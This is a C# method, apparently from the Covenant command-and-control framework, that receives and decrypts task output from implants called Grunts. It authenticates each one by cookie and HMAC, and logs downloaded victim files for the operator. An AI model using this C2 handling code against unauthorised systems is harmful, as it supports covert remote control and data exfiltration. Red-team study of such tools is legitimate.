// post task
private ActionResult PostTask(Covenant.Models.Grunts.GruntEncryptedMessage outputMessage)
{
string cookie = this.GetCookie();
API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
if (gruntModel == null || gruntModel.Status != GruntStatus.Active)
{
// Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound
return(NotFound());
}
string TaskName = outputMessage.Meta;
GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsByTasknameGet(gruntModel.Id ?? default, TaskName);
if (gruntTasking == null || gruntModel.Id != gruntTasking.GruntId)
{
// Invalid taskname. May not be legitimate Grunt request, respond NotFound
return(NotFound());
}
var realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active)
{
// Invalid Grunt. May not be legitimate Grunt request, respond NotFound
return(NotFound());
}
if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey)))
{
// Invalid signature. Almost certainly not a legitimate Grunt request, responsd NotFound
return(NotFound());
}
string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage));
gruntTasking.GruntTaskOutput = taskOutput;
gruntTasking.Status = GruntTaskingStatus.Completed;
if (gruntTasking.Type == GruntTaskingType.Kill)
{
gruntModel.Status = GruntStatus.Killed;
CovenantClient.ApiGruntsPut(gruntModel);
}
CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking);
GruntTask DownloadTask = CovenantClient.ApiGruntTasksGet().FirstOrDefault(GT => GT.Name == "Download");
if (gruntTasking.TaskId == DownloadTask.Id)
{
CovenantClient.ApiEventsPost(new EventModel
{
Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name,
Level = EventLevel.Highlight,
Context = realGrunt.Name
});
string FileName = Common.CovenantEncoding.GetString(Convert.FromBase64String(gruntTasking.GruntTaskingAssembly.Split(",")[1]));
CovenantClient.ApiEventsDownloadPost(new DownloadEvent
{
Message = "Downloaded: " + FileName + "\r\n" + "Syncing to Elite...",
Level = EventLevel.Info,
Context = realGrunt.Name,
FileName = FileName,
FileContents = gruntTasking.GruntTaskOutput,
Progress = DownloadProgress.Complete
});
}
else
{
CovenantClient.ApiEventsPost(new EventModel
{
Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name,
Level = EventLevel.Highlight,
Context = realGrunt.Name
});
CovenantClient.ApiEventsPost(new EventModel
{
Message = gruntTasking.GruntTaskOutput,
Level = EventLevel.Info,
Context = realGrunt.Name
});
}
return(Ok());
}
